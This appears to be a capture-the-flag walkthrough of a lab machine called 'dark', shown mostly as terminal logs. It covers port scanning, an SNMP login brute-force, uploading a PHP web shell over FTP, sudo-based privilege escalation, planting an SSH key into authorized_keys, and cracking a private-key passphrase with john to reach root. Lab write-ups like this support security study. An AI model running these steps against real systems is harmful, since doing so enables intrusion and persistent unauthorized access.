kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.41.139 [21:56:56] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-08 21:57 CST Nmap scan report for 192.168.41.139 Host is up (0.0020s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt MAC Address: 00:0C:29:54:27:1B (VMware)
kali@kali [~] ➜ sudo nmap -sT -sV -sC -O -p22,80,8000 192.168.41.139 [21:57:27] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-08 21:57 CST Nmap scan report for 192.168.41.139 Host is up (0.00041s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Dark |_http-server-header: Apache/2.4.56 (Debian) 8000/tcp open ftp pyftpdlib 1.5.7 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.41.139:8000 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. MAC Address: 00:0C:29:54:27:1B (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.15 seconds
msf6 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 192.168.41.139 RHOSTS => 192.168.41.139 msf6 auxiliary(scanner/snmp/snmp_login) > run
[!] No active DB -- Credential data will not be saved! [+] 192.168.41.139:161 - Login Successful: root (Access level: read-only); Proof (sysDescr.0): Linux dark 5.10.0-23-amd64 #1 SMP Debian 5.10.179-3 (2023-07-27) x86_64 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/snmp/snmp_login) >
kali@kali [~] ➜ ftp 192.168.41.139 8000 [22:20:32] Connected to 192.168.41.139. 220 pyftpdlib 1.5.7 ready. Name (192.168.41.139:kali): frank 331 Username ok, send password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering extended passive mode (|||45031|). 125 Data connection already open. Transfer starting. -rw------- 1 frank frank 219 Aug 01 2023 index.html 226 Transfer complete. ftp> put shell_web.php local: shell_web.php remote: shell_web.php 229 Entering extended passive mode (|||45501|). 125 Data connection already open. Transfer starting. 100% |***************************************************************************************************************| 81 209.26 KiB/s 00:00 ETA 226 Transfer complete. 81 bytes sent in 00:00 (55.58 KiB/s) ftp>
frank@dark:/var/www/html$ sudo -l sudo -l Matching Defaults entries for frank on dark: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User frank may run the following commands on dark: (alan) NOPASSWD: /usr/bin/sh frank@dark:/var/www/html$ sudo -u alan /usr/bin/sh sudo -u alan /usr/bin/sh id uid=1001(alan) gid=1001(alan) groups=1001(alan)
拿到普通权限之后，尝试写入公钥，以来拿到稳定的shell
1 2 3 4 5
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCV6dTFnRnxSXTQ7EI7Bymfl/xRBCjpIzxswsIemipSdaNGMhfVeGHj9cHsnmouJ7s6KmeO5tElGpePQRO4sHILOVAQ2hEwnu1iGklDNwTKAusQqf2yxfVvvZWfWqEa3x2cV0JOGqKKVWNpof+UwIUsbR9Ka6K2WGyMa/Y7JootilSNkpxK8NOF5FjJeu8iYGAz3u7N0DP4S6YAg0XkNSQ0kkknBCLMJboryf52EohsqY0PS3mSMs9v0MBqnvcgcd7uPjzmth3P54rkJpz6/Qt5+wC//+XnQwxL9VlJsSHxx6SDn//4d/nlMG4Xa1p5yce2qHvHXV7HbXOmj5he3Av1h8S7dukdBGYGqgdFxJ2vkqv/tZzreSqKlHoR8SqsA3IUFXMnK9pr7pwThFVy9FdpQ91AuzQ0gLejm/x9EpvOoEluBdU2Sm4mue3uj2NvS0XXqlJy/KKVotymaEzeRSRMUU0zeNf9bJ0II+DjJ0+iti0XQ69T2CW4n6tFebXpXgB18qJd54zFEJoykcq7pUoclHL88+rQwhYDhjCiBhs4VOUKuLQjf3jqqGsFrC4PJ8oIfoOBnxoDXZWdh6Ly0zzC/BD2/R2OuPPuzv6XAaqF958SgI681bk5SXeTnBXAn7p8r+gIONnr+QI4evvZgh8CyWMY+v/fJO1tbIXzK/TqbQ== your_email@example.com" >authorized_keys pwd /home/alan/.ssh ls authorized_keys
alan@dark:~$ sudo -l Matching Defaults entries for alan on dark: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User alan may run the following commands on dark: (root) NOPASSWD: /usr/bin/most alan@dark:~$ most -h most: invalid switch h ignored. MOST version 5.0.0 (S-Lang version 2.3.2) Usage: most [-1Cbcdkstvw] [+/string] [+line number] [+s] [+d] file... where: -1: assume VT100 terminal. (VMS only) -b: Startup in binary mode. -C: disable color support -c: Make searches case sensitive. -d: Do not display the \ wrap marker when wrapping lines. -M: Do not attempt to mmap files. -s: Squeeze out excess blank lines. -t: Display tabs as ^I. If this option is immediately followed by an integer, the integer sets the tab width. -u: Disable UTF-8 mode -v: Do not interpret backspace formatting characters. -w: Wrap lines. -z: No gunzip-on-the-fly. +/string: Search for string +line number Start up at specified line number. +d: Allow file deletion. +s: Secure Mode-- no edit, cd, shell, and reading files not already listed on the command line. +u: Enable UTF-8 mode.
Example: most -ct4 +82 keymap.c makes searches case sensitive, sets tabwidth to 4, and displays the file keymap.c starting at line 82
kali@kali [~] ➜ ssh2john x2 > tmp2 [22:31:36] kali@kali [~] ➜ john tmp2 [22:31:40] Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst rootbeer (x2) 1g 0:00:00:00 DONE 2/3 (2025-05-08 22:31) 33.33g/s 85366p/s 85366c/s 85366C/s rockie..scorpion Use the "--show" option to display all of the cracked passwords reliably
1 2 3 4 5 6
kali@kali [~] ➜ chmod 600 x2 [22:32:32] kali@kali [~] ➜ ssh root@192.168.41.139 -i x2 [22:32:37] Enter passphrase for key 'x2': root@dark:~# id uid=0(root) gid=0(root) grupos=0(root) root@dark:~#
